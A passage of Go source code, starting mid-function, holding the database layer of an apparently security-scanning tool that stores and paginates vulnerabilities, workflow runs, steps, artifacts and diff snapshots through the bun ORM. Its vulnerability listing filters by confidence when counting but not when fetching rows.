result.Data = eventLogs
return result, nil
}
// VulnerabilityQuery holds query parameters for listing vulnerabilities
type VulnerabilityQuery struct {
Workspace string
Severity string
Confidence string
AssetValue string
Offset int
Limit int
}
// VulnerabilityResult holds paginated vulnerability results
type VulnerabilityResult struct {
Data []Vulnerability `json:"data"`
TotalCount int `json:"total_count"`
Offset int `json:"offset"`
Limit int `json:"limit"`
}
// ListVulnerabilities returns paginated vulnerabilities with optional filtering
func ListVulnerabilities(ctx context.Context, query VulnerabilityQuery) (*VulnerabilityResult, error) {
if db == nil {
return nil, fmt.Errorf("database not connected")
}
result := &VulnerabilityResult{
Offset: query.Offset,
Limit: query.Limit,
}
// Build base query
baseQuery := db.NewSelect().Model((*Vulnerability)(nil))
// Apply filters
if query.Workspace != "" {
baseQuery = baseQuery.Where("workspace = ?", query.Workspace)
}
if query.Severity != "" {
baseQuery = baseQuery.Where("severity = ?", query.Severity)
}
if query.Confidence != "" {
baseQuery = baseQuery.Where("confidence = ?", query.Confidence)
}
if query.AssetValue != "" {
baseQuery = baseQuery.Where("asset_value LIKE ?", "%"+query.AssetValue+"%")
}
// Get total count with filters
totalCount, err := baseQuery.Count(ctx)
if err != nil {
return nil, fmt.Errorf("failed to count vulnerabilities: %w", err)
}
result.TotalCount = totalCount
// Get paginated vulnerabilities
var vulnerabilities []Vulnerability
err = db.NewSelect().
Model(&vulnerabilities).
Apply(func(q *bun.SelectQuery) *bun.SelectQuery {
if query.Workspace != "" {
q = q.Where("workspace = ?", query.Workspace)
}
if query.Severity != "" {
q = q.Where("severity = ?", query.Severity)
}
if query.AssetValue != "" {
q = q.Where("asset_value LIKE ?", "%"+query.AssetValue+"%")
}
return q
}).
Order("created_at DESC").
Offset(query.Offset).
Limit(query.Limit).
Scan(ctx)
if err != nil {
return nil, fmt.Errorf("failed to fetch vulnerabilities: %w", err)
}
result.Data = vulnerabilities
return result, nil
}
// GetVulnerabilityByID returns a vulnerability by ID
func GetVulnerabilityByID(ctx context.Context, id int64) (*Vulnerability, error) {
if db == nil {
return nil, fmt.Errorf("database not connected")
}
var vuln Vulnerability
err := db.NewSelect().
Model(&vuln).
Where("id = ?", id).
Scan(ctx)
if err != nil {
return nil, fmt.Errorf("vulnerability not found: %w", err)
}
return &vuln, nil
}
// CreateVulnerabilityRecord creates a new vulnerability in the database
func CreateVulnerabilityRecord(ctx context.Context, vuln *Vulnerability) error {
if db == nil {
return fmt.Errorf("database not connected")
}
_, err := db.NewInsert().Model(vuln).Exec(ctx)
if err != nil {
return fmt.Errorf("failed to create vulnerability: %w", err)
}
return nil
}
// DeleteVulnerabilityByID deletes a vulnerability by ID
func DeleteVulnerabilityByID(ctx context.Context, id int64) error {
if db == nil {
return fmt.Errorf("database not connected")
}
result, err := db.NewDelete().
Model((*Vulnerability)(nil)).
Where("id = ?", id).
Exec(ctx)
if err != nil {
return fmt.Errorf("failed to delete vulnerability: %w", err)
}
rowsAffected, _ := result.RowsAffected()
if rowsAffected == 0 {
return fmt.Errorf("vulnerability not found")
}
return nil
}
// GetVulnerabilitySummary returns a summary of vulnerabilities by severity for a workspace
func GetVulnerabilitySummary(ctx context.Context, workspace string) (map[string]int, error) {
if db == nil {
return nil, fmt.Errorf("database not connected")
}
var results []struct {
Severity string `bun:"severity"`
Count int `bun:"count"`
}
query := db.NewSelect().
Model((*Vulnerability)(nil)).
ColumnExpr("severity, COUNT(*) AS count").
Group("severity")
if workspace != "" {
query = query.Where("workspace = ?", workspace)
}
err := query.Scan(ctx, &results)
if err != nil {
return nil, fmt.Errorf("failed to get vulnerability summary: %w", err)
}
summary := make(map[string]int)
for _, r := range results {
summary[r.Severity] = r.Count
}
return summary, nil
}
// RunResult holds paginated run results
type RunResult struct {
Data []Run `json:"data"`
TotalCount int `json:"total_count"`
Offset int `json:"offset"`
Limit int `json:"limit"`
}
// ListRuns returns paginated runs with optional filters
func ListRuns(ctx context.Context, offset, limit int, status, workflow, target, workspace string) (*RunResult, error) {
if db == nil {
return nil, fmt.Errorf("database not connected")
}
result := &RunResult{
Offset: offset,
Limit: limit,
}
query := db.NewSelect().Model((*Run)(nil))
if status != "" {
query = query.Where("status = ?", status)
}
if workflow != "" {
query = query.Where("workflow_name = ?", workflow)
}
if target != "" {
query = query.Where("target LIKE ?", "%"+target+"%")
}
if workspace != "" {
query = query.Where("workspace = ?", workspace)
}
totalCount, err := query.Count(ctx)
if err != nil {
return nil, fmt.Errorf("failed to count runs: %w", err)
}
result.TotalCount = totalCount
var runs []Run
err = db.NewSelect().
Model(&runs).
Apply(func(q *bun.SelectQuery) *bun.SelectQuery {
if status != "" {
q = q.Where("status = ?", status)
}
if workflow != "" {
q = q.Where("workflow_name = ?", workflow)
}
if target != "" {
q = q.Where("target LIKE ?", "%"+target+"%")
}
if workspace != "" {
q = q.Where("workspace = ?", workspace)
}
return q
}).
Order("created_at DESC").
Offset(offset).
Limit(limit).
Scan(ctx)
if err != nil {
return nil, fmt.Errorf("failed to fetch runs: %w", err)
}
result.Data = runs
return result, nil
}
// GetRunByID returns a run by ID with optional relations
func GetRunByID(ctx context.Context, id string, includeSteps, includeArtifacts bool) (*Run, error) {
if db == nil {
return nil, fmt.Errorf("database not connected")
}
var run Run
query := db.NewSelect().Model(&run).Where("run_uuid = ?", id)
if includeSteps {
query = query.Relation("Steps")
}
if includeArtifacts {
query = query.Relation("Artifacts")
}
err := query.Scan(ctx)
if err != nil {
return nil, fmt.Errorf("run not found: %w", err)
}
return &run, nil
}
// GetRunsByRunGroupID returns all runs for a given run group ID
func GetRunsByRunGroupID(ctx context.Context, runGroupID string) ([]*Run, error) {
if db == nil {
return nil, fmt.Errorf("database not connected")
}
if runGroupID == "" {
return nil, fmt.Errorf("run group ID is required")
}
var runs []*Run
err := db.NewSelect().
Model(&runs).
Where("run_group_id = ?", runGroupID).
Order("created_at ASC").
Scan(ctx)
if err != nil {
return nil, fmt.Errorf("failed to get runs by run group ID: %w", err)
}
return runs, nil
}
// CreateRun creates a new run record in the database.
// In distributed worker mode, this sends the run to the master via Redis instead.
func CreateRun(ctx context.Context, run *Run) error {
now := time.Now()
run.CreatedAt = now
run.UpdatedAt = now
if run.Status == "" {
run.Status = "pending"
}
// In distributed worker mode, send to Redis instead of local DB
if trySendRunToRedis(ctx, run) {
return nil
}
if db == nil {
return fmt.Errorf("database not connected")
}
_, err := db.NewInsert().Model(run).Exec(ctx)
if err != nil {
return fmt.Errorf("failed to create run: %w", err)
}
return nil
}
// UpdateRunStatus updates the status of a run
func UpdateRunStatus(ctx context.Context, runUUID, status, errorMessage string) error {
if db == nil {
return fmt.Errorf("database not connected")
}
now := time.Now()
query := db.NewUpdate().
Model((*Run)(nil)).
Set("status = ?", status).
Set("updated_at = ?", now).
Where("run_uuid = ?", runUUID)
if errorMessage != "" {
query = query.Set("error_message = ?", errorMessage)
}
if status == "completed" || status == "failed" || status == "cancelled" {
query = query.Set("completed_at = ?", now)
// Clear PID when run ends (no longer actively running)
query = query.Set("current_pid = ?", 0)
}
// When completed, set completed_steps equal to total_steps
if status == "completed" {
query = query.Set("completed_steps = total_steps")
}
result, err := query.Exec(ctx)
if err != nil {
return fmt.Errorf("failed to update run status: %w", err)
}
rowsAffected, _ := result.RowsAffected()
if rowsAffected == 0 {
return fmt.Errorf("run not found")
}
return nil
}
// IncrementRunCompletedSteps increments the completed_steps counter for a run
func IncrementRunCompletedSteps(ctx context.Context, runUUID string) error {
if db == nil {
return fmt.Errorf("database not connected")
}
now := time.Now()
result, err := db.NewUpdate().
Model((*Run)(nil)).
Set("completed_steps = completed_steps + 1").
Set("updated_at = ?", now).
Where("run_uuid = ?", runUUID).
Exec(ctx)
if err != nil {
return fmt.Errorf("failed to increment completed steps: %w", err)
}
rowsAffected, _ := result.RowsAffected()
if rowsAffected == 0 {
return fmt.Errorf("run not found")
}
return nil
}
// UpdateRunPID updates the current process ID for a run
// This is used for cancellation support - the PID can be used to kill the running process
func UpdateRunPID(ctx context.Context, runUUID string, pid int) error {
if db == nil {
return fmt.Errorf("database not connected")
}
now := time.Now()
_, err := db.NewUpdate().
Model((*Run)(nil)).
Set("current_pid = ?", pid).
Set("updated_at = ?", now).
Where("run_uuid = ?", runUUID).
Exec(ctx)
if err != nil {
return fmt.Errorf("failed to update run PID: %w", err)
}
return nil
}
// ClearRunPID clears the current process ID for a run (sets to 0)
// This should be called when a process completes or the run is cancelled
func ClearRunPID(ctx context.Context, runUUID string) error {
if db == nil {
return fmt.Errorf("database not connected")
}
now := time.Now()
_, err := db.NewUpdate().
Model((*Run)(nil)).
Set("current_pid = ?", 0).
Set("updated_at = ?", now).
Where("run_uuid = ?", runUUID).
Exec(ctx)
if err != nil {
return fmt.Errorf("failed to clear run PID: %w", err)
}
return nil
}
// GetRunSteps returns step results for a run
func GetRunSteps(ctx context.Context, runID string) ([]StepResult, error) {
if db == nil {
return nil, fmt.Errorf("database not connected")
}
run, err := GetRunByID(ctx, runID, false, false)
if err != nil {
return nil, err
}
var steps []StepResult
err = db.NewSelect().
Model(&steps).
Where("run_id = ?", run.ID).
Order("created_at ASC").
Scan(ctx)
if err != nil {
return nil, fmt.Errorf("failed to fetch steps: %w", err)
}
return steps, nil
}
// GetRunArtifacts returns artifacts for a run
func GetRunArtifacts(ctx context.Context, runID string) ([]Artifact, error) {
if db == nil {
return nil, fmt.Errorf("database not connected")
}
run, err := GetRunByID(ctx, runID, false, false)
if err != nil {
return nil, err
}
var artifacts []Artifact
err = db.NewSelect().
Model(&artifacts).
Where("run_id = ?", run.ID).
Order("created_at DESC").
Scan(ctx)
if err != nil {
return nil, fmt.Errorf("failed to fetch artifacts: %w", err)
}
return artifacts, nil
}
// StepResultQuery holds query parameters for listing step results
type StepResultQuery struct {
Workspace string
Status string
StepType string
RunUUID string
Offset int
Limit int
}
// StepResultResult holds paginated step result results
type StepResultResult struct {
Data []StepResult
TotalCount int
Offset int
Limit int
}
// ListStepResults returns step results with pagination and filtering
func ListStepResults(ctx context.Context, query StepResultQuery) (*StepResultResult, error) {
if db == nil {
return nil, fmt.Errorf("database not connected")
}
result := &StepResultResult{
Offset: query.Offset,
Limit: query.Limit,
}
applyFilters := func(q *bun.SelectQuery) *bun.SelectQuery {
// Join with runs table if filtering by RunUUID or Workspace
if query.RunUUID != "" || query.Workspace != "" {
q = q.Join("JOIN runs r ON r.id = sr.run_id")
}
if query.RunUUID != "" {
q = q.Where("r.run_uuid = ?", query.RunUUID)
}
if query.Status != "" {
q = q.Where("sr.status = ?", query.Status)
}
if query.StepType != "" {
q = q.Where("sr.step_type = ?", query.StepType)
}
if query.Workspace != "" {
q = q.Where("r.workspace = ?", query.Workspace)
}
return q
}
countQuery := db.NewSelect().Model((*StepResult)(nil))
countQuery = applyFilters(countQuery)
count, err := countQuery.Count(ctx)
if err != nil {
return nil, fmt.Errorf("failed to count step results: %w", err)
}
result.TotalCount = count
baseQuery := db.NewSelect().Model(&result.Data)
baseQuery = applyFilters(baseQuery)
err = baseQuery.
Order("sr.completed_at ASC").
Offset(query.Offset).
Limit(query.Limit).
Scan(ctx)
if err != nil {
return nil, fmt.Errorf("failed to fetch step results: %w", err)
}
return result, nil
}
// AssetDiffSnapshotResult holds paginated asset diff snapshot results
type AssetDiffSnapshotResult struct {
Data []AssetDiffSnapshot
TotalCount int
Offset int
Limit int
}
// ListAssetDiffSnapshots returns asset diff snapshots with pagination
func ListAssetDiffSnapshots(ctx context.Context, workspace string, offset, limit int) (*AssetDiffSnapshotResult, error) {
if db == nil {
return nil, fmt.Errorf("database not connected")
}
result := &AssetDiffSnapshotResult{
Offset: offset,
Limit: limit,
}
countQuery := db.NewSelect().Model((*AssetDiffSnapshot)(nil))
if workspace != "" {
countQuery = countQuery.Where("workspace_name = ?", workspace)
}
count, err := countQuery.Count(ctx)
if err != nil {
return nil, fmt.Errorf("failed to count asset diff snapshots: %w", err)
}
result.TotalCount = count
baseQuery := db.NewSelect().Model(&result.Data)
if workspace != "" {
baseQuery = baseQuery.Where("workspace_name = ?", workspace)
}
err = baseQuery.
Order("created_at DESC").
Offset(offset).
Limit(limit).
Scan(ctx)
if err != nil {
return nil, fmt.Errorf("failed to fetch asset diff snapshots: %w", err)
}
return result, nil
}
// VulnDiffSnapshotResult holds paginated vulnerability diff snapshot results
type VulnDiffSnapshotResult struct {
Data []VulnDiffSnapshot
TotalCount int
Offset int
Limit int
}
// ListVulnDiffSnapshots returns vulnerability diff snapshots with pagination
func ListVulnDiffSnapshots(ctx context.Context, workspace string, offset, limit int) (*VulnDiffSnapshotResult, error) {
if db == nil {
return nil, fmt.Errorf("database not connected")
}
result := &VulnDiffSnapshotResult{
Offset: offset,
Limit: limit,
}
countQuery := db.NewSelect().Model((*VulnDiffSnapshot)(nil))
if workspace != "" {
countQuery = countQuery.Where("workspace_name = ?", workspace)
}
count, err := countQuery.Count(ctx)
if err != nil {
return nil, fmt.Errorf("failed to count vulnerability diff snapshots: %w", err)
}
result.TotalCount = count
baseQuery := db.NewSelect().Model(&result.Data)
if workspace != "" {
baseQuery = baseQuery.Where("workspace_name = ?", workspace)
}
err = baseQuery.
Order("created_at DESC").
Offset(offset).
Limit(limit).
Scan(ctx)
if err != nil {
return nil, fmt.Errorf("failed to fetch vulnerability diff snapshots: %w", err)
}
return result, nil
}